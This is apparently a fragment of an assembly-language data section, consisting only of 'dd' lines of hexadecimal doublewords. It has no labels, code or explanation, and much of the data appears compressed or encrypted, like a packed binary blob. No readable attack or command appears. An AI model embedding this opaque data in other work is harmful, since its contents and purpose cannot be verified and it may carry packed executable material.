		dd 0C81EF9C7h, 1089264h, 0E4CCA02Fh, 0E0D3ECC1h, 0CE20431h
		dd 0DC109400h, 5FC86070h, 524F1F58h, 7836C026h,	0EC6CBC95h
		dd 4EEE4B0h, 80EF1B0h, 20118F0Ch, 0A052431Ch, 0E06B25EDh
		dd 64132BFEh, 54B07F01h, 0A02F8625h, 0A12C252h,	35030FC3h
		dd 85E36798h, 0E8F980AFh, 0EB003AF9h, 1C8B0104h, 4CFB8688h
		dd 6F486EC1h, 8A058902h, 0BDE07549h, 44073848h,	3B431513h
		dd 17CB0F30h, 9DF50120h, 0FA5F7442h, 5DD82046h,	0FDC64A00h
		dd 13BC4F03h, 7406003Bh, 33D0FCF3h, 5800C909h, 67E47BE8h
		dd 98E28025h, 0DB2000D9h, 0F1844E1Bh, 17039A7Eh, 9CEA6523h
		dd 0CBBCC85Fh, 988E000Dh, 0B5FB0444h, 96002B84h, 487107BDh
		dd 7B5806A0h, 7021004Ch, 54400F50h, 2301FEE3h, 0F7EBE8FBh
		dd 3D5ECD5h, 75045F60h,	0E0CF003Ah, 0EDE7C1F9h,	0C700E9CCh
		dd 8DF5C378h, 2523FB18h, 1250EC0Ch, 0BEE2418h, 1047AD4h
		dd 0F8F5C7CDh, 0D8073A9Ch, 0C302E0E8h, 0F918588Fh, 0D952C023h
		dd 8AFA1C9h, 3CF7E6C4h,	0DF0394DBh, 0FF15EE33h,	2EF82F22h
		dd 0E45ADF3h, 3E07A01h,	3A96B3DFh, 0EB981307h, 0DA900B0Dh
		dd 1F437329h, 802BB61Bh, 3B887410h, 200758C4h, 14428C8Fh
		dd 2C915477h, 23E8463Dh, 72510118h, 741CAF94h, 2089E8F8h
		dd 0BE210B3Ch, 687702C4h, 0F70EC859h, 0A8289300h, 2C0489E6h
		dd 0B703841Ah, 0F8589383h, 0EE8885C5h, 34C40790h, 0AE423C2Ch
		dd 622025CFh, 5A193538h, 4A14AF7Ch, 0BB6CF74h, 83FD0CA5h
		dd 80A89195h, 0C5812Ah
		dd 5A827999h, 7FAE037Ah, 0CCA24200h, 369D86EEh,	0C8C00B7h
		dd 576AF8CDh, 53012910h, 4205208Bh, 5460CAC9h, 52C63F1Bh
		dd 0CCE90C00h, 29206A15h, 0C897D40Fh, 0B0178709h, 0DDA905D1h
		dd 320B8CD0h, 30500DA3h, 20EF0Eh, 2E841343h, 342200A6h
		dd 46A2F82h, 8800A495h,	4178C646h, 91085B8h, 436DAC14h
		dd 0A16A1787h, 2AB47023h, 0A9ED6FB1h, 2E80A745h, 0F286D2E8h
		dd 59FCF3D8h, 11A7EEAh,	2B1864E5h, 30C3113Ch, 2330B9CFh
		dd 0F4284214h, 0AA4D3B21h, 44A45309h, 76D200F7h, 0F87C84A7h
		dd 56A80027h, 0E2C78E21h, 1401B989h, 0B5B21C42h, 22D04334h
		dd 64B0B8h, 0EC1BF1A2h,	831F3C32h, 0C7813A07h, 6E10D9A1h
		dd 0B533FE9Dh, 0BA029482h, 279955E0h, 58C84200h, 601F5389h
		dd 4FE91F3Ah, 8FAEC3ABh, 22960940h, 1C5C20h, 0A56CE907h
		dd 67B88D34h, 14D60818h, 3E02D31Ah, 0E987ABF0h,	800F7BB1h
		dd 94E21A11h, 437C9C00h, 0C4A3887Eh, 0CB381F28h, 64BCDE8Dh
		dd 0EE80751h, 750B0C8h,	0F39087ACh, 8BFA683Ah, 0FC91F08h
		dd 4347E700h, 275FC4F7h, 21171432h, 34D1A6D0h, 5A83EC0Ah
		dd 767AC0D9h, 9B12B2BBh, 6D002C31h, 62B444C3h, 4314001Ch
		dd 4152A2E0h, 5100C2E9h, 0FF33F81Fh, 3F990h, 52EE5D7h
		dd 5EE2C189h, 527C4Ch, 12414B4h, 348504Ah, 4C425A06h, 84C37210h
		dd 0B3EF54B0h, 0B8278000h, 78DA756Ah, 0FB482EE4h, 0C08A1EC1h
		dd 19BC4BE0h, 96004022h, 0F0C747D8h, 230148h, 0E676045h
		dd 0CDAB894Ch, 50EF4000h, 0BADCFE08h, 0E54FA98h, 10324476h
		dd 0E1F05800h, 8100C3D2h, 22EEEF5Ch, 3600EC0h, 0FEDCBA98h
		dd 10E06480h, 8901ABCDh, 45676802h, 6CC00123h, 2D1E000Fh
		dd 0C0333C12h, 9300ACE1h, 0B6EC53D9h, 7C5BC66Eh, 3FE03B18h
		dd 3440702h, 7E08008h, 7E0038F8h, 2B6FA81Eh, 18D6BD0h
		dd 0E633F525h, 0F4D553DBh, 1A007E29h, 761451FFh, 311E95h
		dd 0FAE0C183h, 0D82F707Fh, 800CB338h, 146C6BDFh, 0EA9AAC55h
		dd 8BFC40h, 0DD8192C4h,	7245618Ah, 95D5BE00h, 552DD3FEh
		dd 0D9340019h, 7B816A09h, 0ED28777Eh, 0E503A96Eh, 5E76013Fh
		dd 3520D7FAh, 7B74BF54h, 0DF3B07FDh, 0A08D107Dh, 28BD3F2Eh
		dd 80CB2A3Bh, 0AE4FEB24h, 24A91229h, 3B51064h, 0DF2B8DC6h
		dd 283CFCD8h, 0DDE6D41Ch, 0E803C000h, 141BBD9h,	62C2BD7Ch
		dd 20831D98h, 0EB00EAB3h, 8CFB069Dh, 4DEC7Dh, 6FC56A03h
		dd 67FF6951h, 0BDA71801h, 86B62C14h, 0E46A1670h, 0E4E80009h
		dd 44A224AEh, 3105BDBAh, 0CBDB0107h, 0F9FBB080h, 0E16600FAh
		dd 85B75639h, 0AF005DE8h, 0B2BD334h, 48CAB4h, 0F93C0C20h
		dd 0F3E97CCBh, 808CF503h, 0F07013DBh, 692124h, 4C33A91Ch
		dd 0F101188h, 0F87C7E0Fh, 7DAB40FDh, 0BDCE17h, 0A9F047C1h
		dd 234E9C24h, 4BE2600h,	81664CCh, 30F070Ah, 0B3AE9FFEh
		dd 7CC0AF60h, 8C02A1F5h, 4610DE70h, 6714C1BEh, 147870h
		dd 87C62A01h, 52F13547h, 34978C00h, 90CC8523h, 13040018h
		dd 27A83046h, 40077E58h, 9510011Ch, 0D921FDB0h,	0BCAF0390h
		dd 98D88020h, 4369080Fh, 0C4D2C0FCh, 0FC2428F3h, 7AF701AFh
		dd 0B0E48C44h, 0CDE49D87h, 0B10387BFh, 83DBFF5Bh, 0F00FAAD8h
		dd 24BE022Ch, 1E905CD7h, 3B10C065h, 30C485BFh, 11220107h
		dd 88506B90h, 7F5E08B0h, 1C7FFC42h, 3472CDh, 0FD987193h
		dd 0AF07468Ch, 38519D88h, 79438E00h, 21A60742h,	0B3CF9C0h
		dd 7BB40601h, 0F1E9E849h, 0F2C2BE0Eh, 25620004h, 0A8F61Eh
		dd 4518E869h, 58C4CB1h,	0CE0D8007h, 40BE408Eh, 0C050B372h
		dd 43290069h, 0A1785CB1h, 5D1CCE2Ch, 5100E68Ch,	0DD265E5Ah
		dd 0AB5539D2h, 30147681h, 608C04C0h, 120011F0h,	0AA984ED3h
		dd 4CE9B640h, 9600D7D2h, 97801DCFh, 0FB017204h,	290C0514h
		dd 5DC0F28Bh, 0D62F3010h, 9888A3E8h, 285138h, 42441453h
		dd 0BB42302h, 5729B7C4h, 0A1E66601h, 99E5F0D8h,	0BBB8B00h
		dd 0C8982093h, 40D300FBh, 0B21008E7h, 3504E924h, 8C2B46DEh
		dd 95C05285h, 721E1CDh,	1EB22FC2h, 82BA79h, 710D638h, 8478C337h
		dd 43126CFCh, 7C00CF47h, 0D50D8708h, 3E71EAF4h,	0C18F42ACh
		dd 4E01017h, 455A14EDh,	623094FCh, 2341B6Ah, 63E90205h
		dd 0BB198C6Eh, 44B0D5C0h, 0F8010803h, 0B0FCEFA3h, 1C108FCCh
		dd 1CA2CFh, 676F02D9h, 0C09FD81h, 0E485D3h, 2A4C8A18h
		dd 1F20EA8Dh, 40F608B3h, 420490EFh, 0FF7BFA39h,	1711A100h
		dd 2BA09DC2h, 8AD01C3Bh, 0F6E4C1AAh, 0E0877129h, 0B3006609h
		dd 0B40B794h, 7D04C55h,	6122E02Bh, 856DA39Dh, 0E2B5ADD0h
		dd 700E1000h, 0C0738A2h, 0A0E50045h, 0B34EA61Ah, 170E232Ch
		dd 0E0330981h, 0BEEA44C1h, 845801A4h, 0BF10879Bh, 0A9A940A2h
		dd 4B2EDE72h, 0D9895611h, 60C10744h, 0A9F6BBA3h, 9A20AE09h
		dd 70020728h, 51BEBFBCh, 401FB42Ah, 7EC604A4h, 61289B1Eh
		dd 110BC340h, 993D143h,	27FAEF41h, 83488E82h, 1641A1E2h
		dd 1BCEFC5Ch, 30850400h, 8C0AD4EFh, 7FF9083h, 1D100518h
		dd 0AD21F088h, 39E024F9h, 46D4D00Fh, 0C4A240D9h, 18874C6h
		dd 9914E5CFh, 0E084E6DBh, 0E003D1F1h, 0F43C200Ah, 1FA2A07Ch
		dd 0AF103F21h, 65000838h, 0C440AC56h, 0B5714331h, 44E64101h
		dd 86F42922h, 0B9D15F4h, 0EE5BCC0Ch, 2063F00h, 0B924D249h
		dd 97000185h, 435F2AFFh, 0BF60041h, 4AB278E9h, 0A002087h
		dd 0C9D2682Eh, 0F223A770h, 0C59094h, 15D01747h,	0FC889ECh
		dd 0A2111013h, 0A0398E00h, 0E03093h, 0D27E6AE9h, 90E804F0h
		dd 9AD8C400h, 280B8115h, 0C3E00055h, 65405B59h,	8C1FA5A1h
		dd 0C40D544h, 0EACC9280h, 0F71988Fh, 0F4E4B304h, 7D818EBFh
		dd 7EA1EFA9h, 31D1B127h, 205DCD3Bh, 0A0185A3h, 1C109E42h
		dd 0AE30B8C5h, 0B07E744Fh, 2D233FF1h, 0D361E204h, 0E064C039h
		dd 463F2CE6h, 42900FFEh, 0F959A280h, 1ABE060h, 8CAC3AA3h
		dd 34B2B380h, 8D2A107h,	96044E00h, 9017A832h, 1F82EE10h
		dd 82F7537Eh, 0ED4254B9h, 0F235C968h, 30BD3A00h, 8987B41Ch
		dd 0E5D4000Ch, 0D2BB8211h, 0B0092AD7h, 0B23F8Ch, 90C052BDh
		dd 0D39100C2h, 0BAEB8637h, 260ED7C6h, 0E0F8332Dh, 0C78C9B61h
		dd 0B7D600E5h, 0B6FEF463h, 0E40E2FB4h, 0C1A74A74h, 2E4051E2h
		dd 0F91BF4h, 641545Ah, 7CFD5852h, 0A64ABE05h, 0FAFC3Fh
		dd 11A7B4EBh, 0BBE40B20h, 0FA44D400h, 2DBEA4FEh, 921600EEh
		dd 7F2A85F8h, 0F5504890h, 0D7FA4485h, 0B901FA71h, 78EA10F6h
		dd 72FCFEABh, 0AE6E9h, 122B29E7h, 60C4F108h, 0BCE87300h
		dd 4C46DA9Dh, 3F97F51h,	85D53A97h, 0CB8238Ch, 0C800EACAh
		dd 4A1FE97Dh, 1F4C37C7h, 4E1411F8h, 0EA832BFAh,	0D7D07881h
		dd 100F598Ch, 67AE5087h, 49001E97h, 3F8A5CD5h, 0EB302BFBh
		dd 528CDF2Ah, 80D7143Ch, 8A2B5A3h, 58D59502h, 17BD71Fh
		dd 7E2B3CCh, 0DD6C1904h, 1CC8F842h, 0F23EF7FAh,	76173E09h
		dd 88938750h, 0E6EBF600h, 0CED7A742h, 0DE20691h, 52D63C02h
		dd 7A84280Eh, 800E83B6h, 0E487D866h, 0A304002Ch, 810F38B4h
		dd 8EDF1B11h, 230B280h,	71CB5CEh, 8D1A0640h, 59A08F88h
		dd 46CD1834h, 720C81Dh,	8D001913h, 1709403Ch, 0F2D73B43h
		dd 0B7511081h, 0BEE2AE91h, 0F8138014h, 423B33B4h, 647E01A2h
		dd 0B86D6F6Ch, 0BA8FF0C8h, 307286E4h, 9223F902h, 60D0EA4Eh
		dd 8CC9D6h, 2E1037A9h, 0EF4AAD6Dh, 0D7BDC400h, 0BE76FA22h
		dd 0C1EA07CFh, 0C0346437h, 508B20Dh, 0FB2F180Eh, 9E6C4027h
		dd 0A54AFFh, 6DB69773h,	481A0D40h, 0B807D800h, 0F2A29DFEh
		dd 12A30017h, 2F283791h, 0B0FCD6Ch, 58D85380h, 0A0A34EC0h
		dd 0A4E218B8h, 469900C1h, 0CA9DC4D8h, 85A03C62h, 99A11907h
		dd 0D4D9F4D0h, 0C374C00h, 9ECB1393h, 0A0ADFCAh,	0EA21E30h
		dd 0F8E03321h, 3887A42Ah, 0B688472Ch, 7EDF651Eh, 0CF0561DFh
		dd 5C81E551h, 9BF0ACC4h, 0B0110013h, 0F21488CBh, 623EECC5h
		dd 814DBEE3h, 0C937E794h, 0B1DC3C08h, 45FA3EF8h, 386412h
		dd 0FCDA4642h, 0A54C433Dh, 0DF10709h, 0FB17701h, 38EC74C4h
		dd 7C8B020h, 6214230Ch,	1CE5E0BFh, 1EE24EA7h, 0A5B4E904h
		dd 0A3C0FBECh, 0C0E3CCC6h, 15490BCEh, 0F201B10Fh, 0D32472DAh
		dd 4FEC5AB7h, 2CFE2Eh, 0C4CCF988h, 0D613080Dh, 953B9D01h
		dd 0F234675Ch, 4E0360h,	0CEA71FDBh, 85719C1Dh, 0BB8DE805h
		dd 98063CCAh, 3228025h,	776E2713h, 0A6C8E802h, 3300E90Ch
		dd 0BE58C95Bh, 0F9485DBh, 0B3A1FF3Ch, 46C508E0h, 0E004CCDh
		dd 0DB4AF1ACh, 1F5EFA2Dh, 40F810FFh, 0C48773AEh, 4400040Fh
		dd 8233FDCh, 0FBC8C42h,	78C21259h, 1C941F60h, 0A472A7FFh
		dd 81086809h, 0BD9D0718h, 943FA2F0h, 0B1213FFEh, 0CEC303FEh
		dd 0A9DFF9C9h, 0DCEFE2D8h, 18471605h, 0C0AEF684h, 6A1A04A3h
		dd 0F1342100h, 0DD4C0105h, 2CC82E0Fh, 85BD015Dh, 0EC210C11h
		dd 0A7714F9h, 0A4A87D01h, 0BBA135B2h, 71838F0h,	0B0FF28B5h
		dd 0C211E042h, 54888CFh, 0EEB100EAh, 0EBF209DDh, 0DAD8030Bh
		dd 0FA9424A8h, 2EBCD007h, 0FED08F1Bh, 0B817F9h,	0B03DEB97h
		dd 712F374Dh, 0DE4CAF00h, 0C2E70722h, 0E6F80023h, 0BEE5C79h
		dd 370034F5h, 811009CAh, 3AF0B9DEh, 7900F923h, 0D097E882h
		dd 68485B8Ch, 1DA500E1h, 0DECA881Eh, 7B910F4Fh,	24A0B609h
		dd 298C47E9h, 54A43724h, 12080E00h, 0E601D9h, 0A9ED2116h
		dd 2C7920C4h, 22F93109h, 0A0538913h, 0DF42623Ch, 5A1048BCh
		dd 9A11080Ch, 4E00AA10h, 26E929D1h, 1F8A9313h, 9EDD8444h
		dd 0C910008Bh, 3F0CE2AAh, 0E003A390h, 1CAB825Bh, 9F019547h
		dd 3CE8C23Eh, 8006569Ch, 21AFE078h, 0AD765838h,	0BDE28D00h
		dd 490D71D2h, 97134C34h, 58E0F0C0h, 199AABDCh, 3900DF90h
		dd 2CE127C4h, 0EAC4313h, 0FBF20888h, 0A3C0D2E0h, 2E00FD4Eh
		dd 0E46FA953h, 22CFEEh,	3EE18417h, 323F293Ch, 0CB6EAE00h
		dd 0B8D30804h, 174B8F5h, 0B7E1B00Bh, 60332A3Bh,	1201E883h
		dd 7204BFF8h, 1BD00506h, 5CF6006Ch, 4AB73BE1h, 0E8006133h
		dd 6E75ACEBh, 0FB4ED472h, 29B330h, 981CB2E2h, 5D1EE933h
		dd 4B6EAD01h, 6F4A4CCAh, 0FEE60B7Bh, 8301F580h,	38002DE2h
		dd 11FF5AADh, 9088D496h, 0B17DEFh, 9D28467Eh, 0F2A4C010h
		dd 0F5A1361Fh, 38290B00h, 0EA42FFh, 19934ADh, 0A5E32858h
		dd 0C200B9F6h, 69AE1D84h, 0EA2FD27h, 0D101F0Ch,	0F8E37D40h
		dd 2002577Fh, 0D1958EFFh, 0AF184188h, 2C7024F7h, 29C100AEh
		dd 6C1504F2h, 142F43Fh,	0E95018C8h, 13208DAEh, 62F023h
		dd 4216E427h, 0AF1C843Ch, 0F736900h, 5338E7F4h,	0C0A24BFFh
		dd 8215E496h, 244C8900h, 0BCC2F408h, 70740127h,	4B5C7C3Dh
		dd 1822E814h, 571F5E00h, 0E647FC26h, 50A200D2h,	0C6083145h
		dd 4E8C4D6h, 3F50E4F8h,	91263382h, 270BA3EEh, 48C800C3h
		dd 7E525F1h, 4C592D2Eh,	1A24E033h, 0D20031B0h, 585067D1h
		dd 901485E5h, 0E9C40009h, 3064124Ch, 0AB1E68B8h, 2F5D3353h
		dd 4A59ACCCh, 0FE5A00B9h, 2CD7C417h, 4D7CDD2Dh,	4E7C2F7Ch
		dd 8025103Eh, 0A159E2A4h, 984BE623h, 242F862h, 2ECFB118h
		dd 0C6405662h, 0FF1F3452h, 691F4B84h, 29906F03h, 7F1D018h
		dd 98E6F601h, 0F03C165Fh, 0FD9D0BC3h, 1F6E4D0Fh, 24A120C0h
		dd 2E0066C5h, 2DAC22B3h, 0FFF94CEh, 49B21723h, 554741C0h
		dd 633EE75Bh, 4A089FABh, 89DCD243h, 0C72DDB72h,	0C4074B0h
		dd 6EEB60ABh, 0D9C2F030h, 3DC18C48h, 353983E4h,	0D846F2B8h
		dd 0EE1820h, 5C4D27D1h,	251C48B5h, 1162A10Eh, 2C57C0B3h
		dd 3B5E37h, 0E85C136Dh,	4810358Ah, 0C3FC2B8h, 5BD183BAh
		dd 0B51C57F4h, 0BFA32280h, 48F22494h, 0F3223057h, 0F13B8979h
		dd 8B1300E8h, 5B45DB05h, 5F09024h, 38507BF9h, 6226C3E9h
		dd 3560B4DAh, 2B059714h, 486F3917h, 0E85BD783h,	328230Eh
		dd 0F981C5CBh, 1A052238h, 0F20AE9D2h, 70933C8h,	18F1EA46h
		dd 0D9012BDCh, 0F1561527h, 1316F04Bh, 0B5372100h, 3A7930C4h
		dd 12B21F2Ah, 0F41A682h, 88C3436Eh, 5DFBF210h, 7A94F998h
		dd 0FF421B8h, 0EA13DDF8h, 800073AFh, 0EB16110Dh, 4E2B3EBCh
		dd 490BA6CCh, 0CC03A513h, 0B8F05EC4h, 0F300F0A0h, 6D40703Eh
		dd 7B64253h, 0FCDD6510h, 0CAEB7091h, 69053314h,	9809A25Bh
		dd 56CB6B80h, 0A4D7CE7h, 10A02B2Eh, 0CFC04E1h, 2D68C8A6h
		dd 0C7CC2C00h, 0EC1B0960h, 5AA01273h, 1F8F01A1h, 0E47A2EB7h
		dd 8FFC5D16h, 0EC56682Ch, 8447521Fh, 0FC20DE64h, 6490A8D3h
		dd 1FA1224Bh, 0B89D979Fh, 0A774ABC7h, 490EC491h, 5A1E60BDh
		dd 2B25439Ch, 9C0C7CDh,	6D1FED19h, 0C2006A3Ah, 4034B81Eh
		dd 8D130F0Dh, 71E35C89h, 1E3FEAA1h, 63108351h, 0D81F97DFh
		dd 0FAED8F0Ah, 1E080059h, 0B2669634h, 2861A83Ah, 0ED4B0D7Bh
		dd 44A64C4h, 0CE2970FEh, 167CD085h, 0E0EDFCEEh,	0B9071C09h
		dd 5AD09F7Bh, 347480BBh, 0F84FA1FEh, 43610708h,	0E08DF1E0h
		dd 91AA683Fh, 79015C79h, 5108C1B7h, 0BDF46A7Bh,	6F183ACCh
		dd 389D8680h, 9FEEF2A6h, 0A1FEAAE2h, 10C6B900h,	4F76436Fh
		dd 7D26E871h, 0AA3E3EEFh, 0E7BA1E00h, 86AD6F3Ch, 0F00BB900h
		dd 34B5EF69h, 6D2D00BDh, 0D9965E1h, 6E01E4E9h, 0A0A84B3Dh
		dd 0DE60EF49h, 137FCA4h, 521B102Ch, 214F9E7Bh, 3C59F812h
		dd 0FC8CE9E7h, 4008006h, 0FAE287F0h, 0E2D0D6BAh, 0D38900E9h
		dd 84B2A36Eh, 8F00F033h, 0BB31C413h, 881438h, 0A58552C0h
		dd 7C428CC5h, 7C6BF048h, 87E28024h, 52F74400h, 922282Dh
		dd 0F049B3A8h, 0E2B7B103h, 0C1A78CD0h, 7B09C5B0h, 8F7E2Ah
		dd 8834ACCDh, 5C85F665h, 14007990h, 430DFCF1h, 0A21F9EBCh
		dd 64C49C21h, 0E3C0040Ch, 0FC44173Fh, 860904B6h, 806FD3E9h
		dd 8F899906h, 1336F100h, 65E39327h, 0EF0248FCh,	0FE7B5400h
		dd 0C624D4A6h, 0D913F116h, 3837BD00h, 0D4189h, 5F096F7Bh
		dd 687E5A99h, 800006B8h, 428FF21Ch, 0F5DD255h, 4A259A9Ch
		dd 0E991C743h, 0D07E3580h, 9EEE3403h, 0C72FD433h, 9F5B96F0h
		dd 0D1F001C1h, 10B26E7Fh, 38B7F0A9h, 0E4A8C200h, 64891555h
		dd 2B7114h, 2051D7F6h, 0D35A2C08h, 6FA0CE2Eh, 41A9F307h
		dd 0ED155E0h, 0ACD93B4Ch, 8B0F4B3Eh, 80A15061h,	6592D243h
		dd 0BE8DF32h, 3CFA082Bh, 0C5E52D0Fh, 5E34A787h,	21062090h
		dd 7EF34CCCh, 48030800h, 0F8F2AED4h, 94D79F00h,	2B12D63Fh
		dd 88A91DD2h, 0F44240B8h, 56080CC8h, 0F172D307h, 606F50FAh
		dd 46BAD6A5h, 0E6550012h, 23AB5FACh, 0B00C42Ch,	2EF49D04h
		dd 0A43C30h, 0CE034C7Fh, 0C941062h, 9F508800h, 12D71114h
		dd 0F2570089h, 54521F1Dh, 3307E3A5h, 190ACAA3h,	12504AE0h
		dd 3A580991h, 0F802108h, 47E4A542h, 97487E01h, 0F08C638Eh
		dd 70282E81h, 0F4EA0658h
		dd 0C4008312h, 849CBD1Ch, 70FE14B8h, 51530030h,	0B31FC89h
		dd 3D0083C9h, 646D43Ch,	177D04h, 868A164Eh, 7536EDE0h
		dd 3890F00h, 41AEC383h,	67F93D8Fh, 0F81FEB85h, 0A593802Fh
		dd 0F0001312h, 5A76D0BFh, 95FA80h, 431CAE52h, 0E0D933F4h
		dd 1C80600h, 0ABCAD1C0h, 0D750024h, 184EC636h, 27001653h
		dd 6C38FFECh, 7C82FEB8h, 8A13005Dh, 0EA704A48h,	0D726812h
		dd 5900A2EAh, 42CE4DB6h, 3050CE6h, 1CDA0849h, 20D85B14h
		dd 76002734h, 402D4258h, 0C1F041h, 3905E624h, 5312EF97h
		dd 0FB005DECh, 4945D733h, 15C940Fh, 810834B0h, 0F025BFC6h
		dd 24000901h, 28007F2h,	1EE231h, 0D6D3E30Bh, 32A221E6h
		dd 907C4A00h, 0B833F934h, 0F86A1E42h, 0C910170h, 6FDE1A9Fh
		dd 16E06E00h, 28E7EDh, 0FB5230F3h, 8DBC6B2Eh, 0AA77DE0Fh
		dd 10476068h, 3956CE2Ah, 1F764D5h, 9A531EE7h, 6011F121h
		dd 6A0434A5h, 543AA074h, 0A18E4BC1h, 42F3C8h, 1E0FE368h
		dd 84F2E8B2h, 38FA3000h, 9C2351FBh, 321100AAh, 8E501847h
		dd 0E1EEA1F1h, 4A8F0700h, 46D6FCCEh, 20BC001Ch,	6FCCFB87h
		dd 0D51E28C8h, 23002C90h, 34435E30h, 8D3800FCh,	0B21A3CF9h
		dd 64001F40h, 48C86B44h, 244C917Fh, 9223BFh, 55AD5442h
		dd 0C60372F8h, 0CFA0B58h, 0AA5A98A5h, 0E5C800F6h, 6F32255Ch
		dd 84B853F8h, 6029BE03h, 0F0F6A92Eh, 4C96F0AAh,	363F7FC2h
		dd 0F9E2F483h, 68C8BE4Eh, 0F000522Eh, 598D6CE8h, 0B70F70h
		dd 7890DD28h, 58877CFBh, 0BF24B401h, 0F3A7CCF2h, 726A21ECh
		dd 5DF60384h, 1C8862B2h, 0F4D3F9E9h, 0CA3E8C72h, 0BE32BEFCh
		dd 0FFA58090h, 0A21B94D1h, 44350098h, 0A0887A9Ch, 0A40310D5h
		dd 11425FBAh, 0F7DCC8E9h, 84670E92h, 0FD40A835h, 0AB05487Bh
		dd 7DDF5D12h, 0E8CC00AFh, 3B0CDBF5h, 2DAC4400h,	6FE60B27h
		dd 331F0BEh, 1CDD2E72h,	0F1A887B0h, 0EF00AE5Dh,	60B5412Ah
		dd 3CF059C6h, 280047FBh, 0CB1B4D72h, 0A84803DCh, 0A4E9036Eh
		dd 0F004255Fh, 316B8ECh, 0F6542191h, 0BCB185DDh, 0DCB771ABh
		dd 7F01C0C8h, 0E4DE4F88h, 48F7AC4h, 1DA032F1h, 1660C5E2h
		dd 0ACCC431Dh, 81DE42CFh, 3788D5D0h, 3FD43280h,	72DF70C4h
		dd 623DD800h, 0DC19F29Bh, 0E6F1010Eh, 0E0210B61h, 0D003CDD6h
		dd 6A00E464h, 77DF58C4h, 1FF63FA2h, 8091621Fh, 0B11EEC39h
		dd 0C58F3BCh, 7780BCAh,	0F4870063h, 2C4ABAh, 886F883h
		dd 0CA62C1D6h, 0FC957703h, 0F08BD235h, 1D0105E7h, 0C3A33174h
		dd 3994DAEDh, 575DD797h, 2EA5C208h, 10CCBE0h, 10C46B1Dh
		dd 14C83F02h, 0AA34C0F5h, 0FC1C0221h, 0C6E92046h, 828F584h
		dd 0FE30002Ch, 46743423h, 3CA83800h, 1A40518Fh,	35441FA2h
		dd 0B4098F12h, 0BB7374E0h, 0DE005020h, 11C2FB0Dh, 5B5458h
		dd 2C7B1BEBh, 48C481D8h, 2879BD00h, 7FC8FCCBh, 8B1C09CCh
		dd 0DDD402h, 803FB9B4h,	88FC31h, 86E0B54h, 0EA7585C1h
		dd 0D16AFE00h, 24483266h, 0E27F00E7h, 15FF02ECh, 42756338h
		dd 741F1A7Ah, 840111DCh, 0E4BAC766h, 1E90ECh, 0FF5014E3h
		dd 0C1E0166Fh, 3205C000h, 49420902h, 7DF60075h,	0F1FF1B0Eh
		dd 0C01F8330h, 0D2C00A80h, 0E3672674h, 21230054h, 0DB310353h
		dd 302F1A8Ah, 16DD4C3h,	332F6225h, 0AF1870FBh, 5F5CC600h
		dd 305BEB29h, 82960136h, 7E908173h, 3B8ECE3h, 3C01AF98h
		dd 0C6BFC241h, 7DC06BCh, 9C70038h, 0CC5C105h, 1717E29h
		dd 87C0CC3Bh, 0CD410D80h, 7C10F60h, 0CE810ECFh,	0AC30E40h
		dd 0CB90CA87h, 11E0B80h, 9DDC0C9h, 0C84108C7h, 18F7D8F7h
		dd 0D9671947h, 0DBC11B00h, 0DA1C2881h, 21E67EBh, 0DF47DEh
		dd 0C0DD011Fh, 71881D5Ch, 1DC4138h, 81D4C114h, 15C040D5h
		dd 0C0D70001h, 41168017h, 0D2E4D678h, 13EC12E8h, 2D37000h
		dd 81D1C111h, 0E0400CD0h, 309AF05Fh, 0F141F5A0h, 0C13033E0h
		dd 40F28AF3h, 361E3932h, 0F738F63Ah, 0F5013702h, 340135C0h
		dd 3CC0F441h, 81FC10C1h, 13D04FDh, 2083C0FFh, 0FE8A393Eh
		dd 3A3BFA3Ah, 0FB703B00h, 0F9C13901h, 40F8810Eh, 8128CE38h
		dd 41E677D9h, 0EBC829FDh, 802B07C0h, 25EAE12Ah,	1F0FAEEEh
		dd 0C0EF0F2Fh, 0ED0BC12Dh, 78EC6381h, 24DBE456h, 41259A00h
		dd 12713E5h, 0E6810084h, 22C12640h, 0E10AF631h,	0E723E0E3h
		dd 21C0033Bh, 0D7412080h, 60F7A0D7h, 0A1D761B7h, 0EF0063E5h
		dd 40A281A3h, 97762h, 0A787A629h, 0A5016780h, 64DC6581h
		dd 0EA47041h, 81ACC16Ch, 6D40AD00h, 0C001AF01h,	6E1E806Fh
		dd 0AAD1AE41h, 6BE06AD9h, 0AB701Ch, 81A9C169h, 687040A8h
		dd 0B8027867h, 7900B947h, 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh
		dd 7F0E7EBBh, 7D00BF70h, 0BC81BDC1h, 0DE7C4030h, 2674C0B4h
		dd 3BE17580h, 0B7CE7730h, 403BB681h, 87720E76h,	80B340B2h
		dd 81B10173h, 4170DC71h, 5010B070h, 910090C1h, 93015140h
		dd 528053C0h, 76927441h, 1C567896h, 1971C57h, 8195C155h
		dd 54CD4094h, 0C0019C01h, 415D805Ch, 5FE49D70h,	819F07C1h
		dd 615E409Eh, 0C89AE15Ah, 5B60E09Bh, 59C099BEh,	41581F80h
		dd 0DD88DF98h, 9F491D48h, 0CE4B9889h, 8A1D818Bh, 4E874A40h
		dd 8F208E87h, 40014F80h, 4CEE4D8Dh, 88C4138h, 0B84C144h
		dd 0B1814085h, 8747C087h, 864146CEh, 42678247h,	831C4380h
		dd 0C19C003Dh, 38EC6681h, 7C07A8DBh, 0E389520Fh, 9CFCE410h
		dd 0C158388Bh, 104359Dh, 899D505Dh, 0DFA03016h,	0C21E927Ch
		dd 204099B2h, 904210Ah,	5F531D0Eh, 0A20FC0C8h, 36E0882Ch
		dd 5B013B18h, 5ADC3Eh, 0C8E36E59h, 410EA582h, 3446161Dh
		dd 3E0EACD8h, 3EE42h, 2FE83D73h, 0A32827FEh, 7EAFEA16h
		dd 0BAD91Fh, 76D9C716h,	31EC13h, 1422C3EEh, 0C80C2038h
		dd 16EE8C98h, 0B3E41000h, 0F4154CF0h, 30F64Bh, 0A101B247h
		dd 0E8217061h, 6E1BBB1Eh, 0D63A9680h, 63CF2Ch, 56FF3083h
		dd 0AD0F4B04h, 6636E900h, 0E828141Ah, 5E1E00EBh, 0D060EEC6h
		dd 51005652h, 8EBAFC02h, 9C3B24h, 4D17C877h, 30AC0B0Ch
		dd 0F5B0C200h, 6738B82h, 9A8C0060h, 0C1A707F3h,	7503C8FEh
		dd 0C9094981h, 0DF6A9AD7h, 647FF8E0h, 69D64400h, 0FF9C181Fh
		dd 75500079h, 0EE10595Dh, 0AC074514h, 2FA83D05h, 25447EF0h
		dd 4F61015Eh, 0C86FF488h, 0FC0680F8h, 1F75F24Dh, 0CCD000D5h
		dd 3B67AC55h, 0A6007306h, 16C60FFh, 0E6E82B70h,	467B00D0h
